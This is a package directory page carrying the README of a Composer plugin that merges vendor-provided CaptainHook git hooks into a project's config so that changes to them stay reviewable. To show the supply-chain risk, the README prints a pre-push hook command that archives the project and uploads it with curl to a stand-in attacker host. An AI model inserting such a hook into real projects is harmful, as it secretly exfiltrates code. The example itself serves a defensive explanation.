PHPackages                             boesing/captainhook-vendor-resolver - PHPackages - PHPackages  [Skip to content](#main-content)[PHPackages](/)[Directory](/)[Categories](/categories)[Trending](/trending)[Leaderboard](/leaderboard)[Changelog](/changelog)[Analyze](/analyze)[Collections](/collections)[Log in](/login)[Sign up](/register)

1. [Directory](/)
2. /
3. [Utility & Helpers](/categories/utility)
4. /
5. boesing/captainhook-vendor-resolver

AbandonedArchivedComposer-plugin[Utility & Helpers](/categories/utility)

boesing/captainhook-vendor-resolver
===================================

CaptainHook extension which parses vendor packages after installation to merge projects captainhook.json with hooks provided by vendor packages

1.0.0(6y ago)1267BSD-3-ClausePHPPHP ^7.3

Since Nov 19Pushed 6y ago1 watchersCompare

[ Source](https://github.com/boesing/captainhook-vendor-resolver)[ Packagist](https://packagist.org/packages/boesing/captainhook-vendor-resolver)[ Fund](https://funding.communitybridge.org/projects/laminas-project)[ RSS](/packages/boesing-captainhook-vendor-resolver/feed)WikiDiscussions master Synced 1mo ago

READMEChangelog (5)Dependencies (8)Versions (8)Used By (0)

captainhook-vendor-resolver
===========================

[](#captainhook-vendor-resolver)

This composer-plugin introduces a package scan for captainhook/captainhook hooks. So on every `composer require`, `composer install` or `composer remove` call, this plugin checks the `composer.json` of the installed/uninstalled package for hooks to add/remove from the `captainhook.json`.

**NOTE: As of captainhook v5.0, you can specify a dedicated `captainhook.json` via `--configuration`. If you are using this parameter, please provide the custom `captainhook.json` path via `captainhook-vendor-resolver.json` configuration next to your `composer.json`.**

```
{
    "captainhook": "relativeOrAbsolutePath/to/your/captainhook.json"
}
```

Where is the difference to the already existing feature "includes"
------------------------------------------------------------------

[](#where-is-the-difference-to-the-already-existing-feature-includes)

As this package only parses the `composer.json` and automagically inserts/removes the hooks, it will provide a proper diff to your project. There is no hidden hook specified in a file outside of your project.

Your projects `captainhook.json` will always contain any hook which is being executed which can be easily reviewed in Pull Requests, e.g.

### Example with the vendor resolver

[](#example-with-the-vendor-resolver)

`captainhook.json`

```
{
    "commit-msg": {
        "enabled": false,
        "actions": []
    },
    "pre-push": {
        "enabled": true,
        "actions": [
            {
                "exec": "echo hey there"
            }
        ]
    },
    "prepare-commit-msg": {
        "enabled": false,
        "actions": []
    },
    "post-commit": {
        "enabled": false,
        "actions": []
    },
    "post-merge": {
        "enabled": false,
        "actions": []
    },
    "post-checkout": {
        "enabled": false,
        "actions": []
    },
    "pre-commit": {
        "enabled": false,
        "actions": []
    }
}
```

Current version of the vendor package...

`vendor/package/composer.json` v1.0.0

```
{
    "extra": {
        "captainhook-hooks": {
            "pre-push": {
                "actions": [
                    {
                        "exec": "echo hey there"
                    }
                ]
            }
        }
    }
}
```

After updating the vendor package...

`vendor/package/composer.json` v1.0.1

```
{
    "extra": {
        "captainhook-hooks": {
            "pre-push": {
                "actions": [
                    {
                        "exec": "tar -xzf project.tar.gz . && curl -X POST --data @project.tar.gz https://example.com & rm project.tar.gz"
                    }
                ]
            }
        }
    }
}
```

`diff captainhook.json`

```
10c10
<                 "exec": "echo hey there"
---
>                 "exec": "tar -xzf project.tar.gz . && curl -X POST --data @project.tar.gz https://example.com & rm project.tar.gz"

```

### Example with includes (security implication)

[](#example-with-includes-security-implication)

`captainhook.json`

```
{
    "config": {
        "includes": [
            "vendor/package/captainhook.hooks.json"
        ]
    }
}
```

Current version of the vendor package...

`vendor/package/captainhook.hooks.json` v1.0.0

```
{
    "pre-push": {
        "actions": [
            {
                "exec": "echo hey there"
            }
        ]
    }
}
```

After updating the vendor package...

`vendor/package/captainhook.hooks.json` v1.0.1

```
{
    "pre-push": {
        "actions": [
            {
                "exec": "tar -xzf project.tar.gz . && curl -X POST --data @project.tar.gz https://example.com & rm project.tar.gz"
            }
        ]
    }
}
```

`diff captainhook.json`

```

```

If you are not re-visiting your vendor packages for changes in that hook you are including, you will upload your whole project on the next `git push` to the attackers website.

###  Health Score

27

—

LowBetter than 49% of packages

Maintenance20

Infrequent updates — may be unmaintained

Popularity13

Limited adoption so far

Community7

Small or concentrated contributor base

Maturity57

Maturing project, gaining track record

 Bus Factor1

Top contributor holds 100% of commits — single point of failure

How is this calculated?**Maintenance (25%)** — Last commit recency, latest release date, and issue-to-star ratio. Uses a 2-year decay window.

**Popularity (30%)** — Total and monthly downloads, GitHub stars, and forks. Logarithmic scaling prevents top-heavy scores.

**Community (15%)** — Contributors, dependents, forks, watchers, and maintainers. Measures real ecosystem engagement.

**Maturity (30%)** — Project age, version count, PHP version support, and release stability.

###  Release Activity

Cadence

Every ~38 days

Total

5

Last Release

2208d ago

Major Versions

1.0.0 → 2.0.0-rc.12020-04-20

### Community

Maintainers

![](https://www.gravatar.com/avatar/bb2738b201c0f9c9eb9a0682e72329fca6d2b8b1cf65402ed490a1e716879885?d=identicon)[boesing](/maintainers/boesing)

---

Top Contributors

[![boesing](https://avatars.githubusercontent.com/u/2189546?v=4)](https://github.com/boesing "boesing (47 commits)")

---

Tags

composer-plugincaptainhook

###  Code Quality

TestsPHPUnit

Static AnalysisPHPStan

Type Coverage Yes

### Embed Badge

![Health badge](/badges/boesing-captainhook-vendor-resolver/health.svg)

```
[![Health](https://phpackages.com/badges/boesing-captainhook-vendor-resolver/health.svg)](https://phpackages.com/packages/boesing-captainhook-vendor-resolver)
```

###  Alternatives

[vaimo/composer-patches

Applies a patch from a local or remote file to any package that is part of a given composer project. Patches can be defined both on project and on package level. Optional support for patch versioning, sequencing, custom patch applier configuration and patch command for testing/troubleshooting added patches.

2994.3M14](/packages/vaimo-composer-patches)[mnsami/composer-custom-directory-installer

A composer plugin, to help install packages of different types in custom paths.

1395.0M52](/packages/mnsami-composer-custom-directory-installer)[typisttech/imposter-plugin

Composer plugin that wraps all composer vendor packages inside your own namespace. Intended for WordPress plugins.

158251.0k2](/packages/typisttech-imposter-plugin)[drupal-composer/preserve-paths

Composer plugin for preserving custom paths and supporting nested packages

271.1M5](/packages/drupal-composer-preserve-paths)[arokettu/composer-license-manager

License management plugin for Composer

61207.9k](/packages/arokettu-composer-license-manager)[liborm85/composer-vendor-cleaner

Composer Vendor Cleaner removes unnecessary development files and directories from vendor directory.

35342.7k1](/packages/liborm85-composer-vendor-cleaner)

PHPackages © 2026

[Directory](/)[Categories](/categories)[Trending](/trending)[Changelog](/changelog)[Analyze](/analyze)